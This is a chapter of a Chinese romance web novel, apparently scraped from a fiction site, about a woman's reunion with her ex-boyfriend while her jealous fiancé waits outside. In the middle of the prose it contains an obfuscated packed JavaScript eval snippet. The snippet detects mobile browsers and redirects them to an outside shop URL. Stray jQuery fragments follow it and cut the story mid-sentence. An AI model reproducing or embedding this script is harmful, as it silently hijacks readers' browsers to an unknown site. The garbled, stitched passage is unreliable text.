文趣网 > 都市小说 > 婚暗情 > 9. 麻醉
    没有路灯的后巷黑得只剩一轮惨白的月亮。

    身后通道的另一头不断有鼓噪的音乐声隐约传来,有那么一瞬间,苏今宜感觉可能掉进了某个异世界。

    现实被从四周慢慢剥离,眼前聚焦的地方是钟易那张跟记忆里几乎没有出入的脸。

    张扬的五官,热烈的黑眸,连唇角勾起的弧度都和从前一模一样。

    “怎么又敢来见我了?”

    他故作轻松的口吻不算自然,苏今宜似乎还能从他略显僵硬的眼尾看出一丝紧张。

    他也会紧张吗?

    她忽然想起他们分手那天也是这么个夜。

    钟易说订好了机票,几天后起飞。

    她说好,那祝你顺利。

    没有问为什么,也没有任何挽留。

    他上前一步抬起手的动作像是想要拥抱,又克制地停在原地。

    苏今宜不知道如他这般不可一世的人是从什么时候起学会了退缩和犹豫,他看她的神情里充满了她从未见过也无法预料的惆怅。

    她那时想,原来钟易也会难过吗?

    他或许只是不得不离开,就像她不得不放手一样。

    人生有那么多无可奈何,她又如何能强求他可以避免这一切呢?

    此时此刻,钟易照样朝她走过来,抬起手,停在她身侧。

    余光中,他右手小指的那一节仍然微微弯曲着,银色尾戒圈住了手术后留下的疤痕。五指几不可察地缩了缩。很轻很短的一下,像是在虚空中握住了她的肩膀。

    心脏里某个隐秘的深处无端抽痛起来。

    他们之间的距离不过三十公分,却相隔了整整三年。

    苏今宜其实很想若无其事地同他寒暄,就像两个许久未见的旧友。

    至少不要这么尴尬。

    她努力牵动脸上的神经和肌肉,扬起一个自认为淡定的笑,“没什么敢不敢的,上次......只是因为我工作很忙。”

    “那这次呢?是在躲我,”他敛去眼中的怅然,上前一步,“还是在找我?”

    苏今宜想说这只是个巧合,可他眼中那种笃定太过熟悉,恍惚间她也忘了自己究竟是不是为了躲开他。

    “我......”她的声音被卡在喉头,发不出来。

    肩上一重。

    悬在半空的那只手落下来。

    “怎么瘦成这样。”

    苏今宜从前也瘦,但不像现在握在手里只剩一把骨头。

    钟易压平了眉眼。

    他收紧五指,声音也冷下来,“你现在的男朋友不太会照顾人啊。”

    他说男朋友,不是未婚夫或老公。

    苏今宜几乎不用思考就明白他的意图。——以为在称呼上计较就能忽略掉身份的差异和她即将结婚的事实。——典型的钟易式思维。

    肩上钳紧的力道让她感觉到疼了。

    “他挺好的。”

    不轻不重推开肩上那只大手,苏今宜微笑着说:“改天让你们见一见。”

    她好像听不出他是在心疼,坚决的态度在维护另一个男人。

    钟易看着自己落空的手,蹙了下眉,随即将手揣进裤子口袋,仿若无事发生。

    “没这个必要吧。”他轻哼。

    “怎么?”苏今宜淡淡看他,“你不方便?”

    “你就不怕我把他比下去?”钟易微微抬起下巴,骄傲的表情简直是为他量身定做的,就好像只有他这样的人才配得上骄傲。

    “万一到时候你发现他处处不如我,后悔了怎么办?”他仿佛还觉得自己很体贴。

    苏今宜讶然,一时忘了反驳。

    见她不说话,钟易又上前半步,低下头与她平视。

    眼前压下来的阴影让苏今宜有片刻晃神,脑海中仿佛有哪个记忆的片段与此时的情景重叠。

    “不过话又说回来,就算你后悔也没关系。”

    一改刚才玩笑时吊儿郎当的神色,钟易格外认真地注视着她的眼睛,“我说过会接住你。”

    ‘跳下来苏今宜,别怕!我就在下面接着你!苏今宜,看着我的眼睛!对,只要看着我,相信我一定能接住你!’

    ……

    苏今宜已经记不太清那是什么时候了。

    耳边穿过的风太大,她根本听不清钟易说了什么。

    挎包隔层里的手机不断震动。

    小新找她都快找疯了。

    苏今宜敛了敛眸,从身侧摸出手机推到他面前。

    钟易被这个动作逼的不得不往后仰了仰脑袋。

    “同事在找我,我得先走了。”

    目光扫向她熄灭的手机屏幕,钟易眉尾一挑。

    半晌,他站直了身子。

    眼前的光线重新亮起,压迫解除。

    苏今宜松了口气。

    钟易双手插在口袋里看她,意味深长地勾起唇。

    “那改天见。”

    苏今宜笑得脸有些僵了,“改天见。”

    转身。

    通道尽头敞开的门外不断有温热的风吹进来。

    竭力挺直的后背仿佛丝毫不觉身后有道灼热的视线一直紧紧跟随。

    苏今宜迈着平静的步伐,隐匿进舞池的人群之中。

    /

    酥·二不远处的十字路口。

    黑色宾利轿车像一头蛰伏在阴暗处的兽。

    开着窗的主驾里泄出躁动的雾。

    男人目不转睛地望向前面路口,握在手中的黑色手机纤薄如玩具,仿佛只要卡在上面的指节再用力那么些许就能轻易折断。

    不知保持这姿势多久,他伸出手,昂贵的银色腕表在夜色中泛出冰凉的暗芒。

    地面上的烟蒂又多了一颗。

    四十分钟了。

    距离钟易挂掉电话已经过去四十分钟了。

    他们在做什么?

    ‘怎么瘦成这样。’

    ……

    他在电话里说什么?她瘦了?他怎么知道的?

    他们抱过了?

    还是已经接过吻?

    电话那头那么安静,他仿佛能看见苏今宜当时的表情。

    她一定很会惊讶,或者还有些惊喜和感动?

    她是爱钟易的。他知道。

    她会哭吗?

    她哭起来很美。

    一双桃花似的眼睛里潋滟着潮润的水光,眼周靡丽的薄红像这个季节下过雨的傍晚。鼻尖上那颗小痣随情绪起伏跃动出昳丽的风情,从眼睑滚落的一颗颗饱满又透明的泪珠,看得人心都碎。

    没有人能忍得住不对那样的苏今宜心动。

    旧情人,白月光。

    或许根本不用任何特殊的身份,她的存在本身就是一种诱惑。

    连他都无法抗拒。

    她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605018|205363||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会用什么样的姿态回应钟易?

    无数蘼艳的画面跃入眼帘。

    仿佛有千万只蚂蚁钻进他的皮肤、血管,啃噬着他的神经。离奇的痛痒自体内深处发出,渐而遍布全身。男人眼底涌动着的深沉暗到极致。

    他却无法停下这种可怕的幻想,只能一根接一根地抽着烟。

    一边麻醉,一边切割。

    精神上的自虐并未在他的□□上留下任何痕迹。

    有身段妖娆的女人迷上了他投在前窗上的模糊剪影,摇着腰肢上前,暗红色的指甲轻轻敲着窗。

    “先生,一个人吗?”

    利落的轮廓,绷紧的下颌。男人像一尊特意雕刻的艺术品,菲薄眼帘下那接近冰点的阴翳神光似乎都经过精确测量,周身逼人的贵气和寒意更是冻得人牙齿发颤。

    这人绝非凡品。

    流连在街角的女人有旁人难及的眼色,识趣地正要走开,一张烫金的暗色名片递了出来。

    她停下来。

    回头。

    男人浸淫在昏暗中的一张脸没有露出任何可以辨认的神情,只有一方在暗里显得分外洁白的额角,以及那上面细密的冷汗反出的阴晦的光。

    他的声音和人一样冰冷。

    “帮我办件事。”

    /

    零点过七分。

    苏今宜出来了。

    她和一个个子小巧的女生走在前面,身后跟着五六个同事,有男有女,看样子玩得十分尽兴。他们在店门口打车。等车的间隙,她回头对另一个落在最后的女生招招手。

    像在交代什么。

    说话间,她温柔一笑,像从春日里吹来的风,女生感动地抱住她。

    苏今宜安慰地摸了摸她的头。

    等最后一个人上车了,江雾灭了烟抬脚过去。

    苏今宜明天就开始休假了。

    她有点不放心组里那个刚来的孩子。

    才二十一,比小新都还小两岁。

    两个人都是大学毕业没几天就进了公司,一直跟着她。

    这两个月苏今宜不在,她让她们有事随时跟她打电话,那傻孩子还哭了。

    在组群里艾特所有人让他们到家了说一声,苏今宜低着头正要在APP上叫车,指尖一顿。不知是不是错觉,她感觉身边的嘈杂声音忽然小了一点。

    偏头往旁边看去,江雾不知何时出现的。

    “你......你怎么会来?”

    他臂弯里挽着她的外套,另只手及时递过来稳住苏今宜摇晃的身形,目光在她脸上梭巡,“喝酒了?”

    她微张着嘴,诧异地看着这个突然冒出来的男人,“嗯......”

    苏今宜的酒量可以说是很差,但今晚组员们闹着要她喝一口、喝一口,她心一横就喝了一口。

    刚才在同事面前都还没什么事的,这会儿见到江雾,完全放松下来才感觉自己有些醉了,软绵绵的身体不听使唤地直往他怀里跌。

    他身上沉冷的松柏香气好闻极了,她使劲嗅了嗅。

    托着她的腰将人架起来,男人语气有些凉,“喝了多少?”

    “一点点......”苏今宜用食指和拇指在江雾面前比了比,“就这么点。”

    她眯着眼,虚焦的眼神都快看不清他的样子了。

    江雾眉眼微沉,用臂弯里的外套搂住她,“先上车。”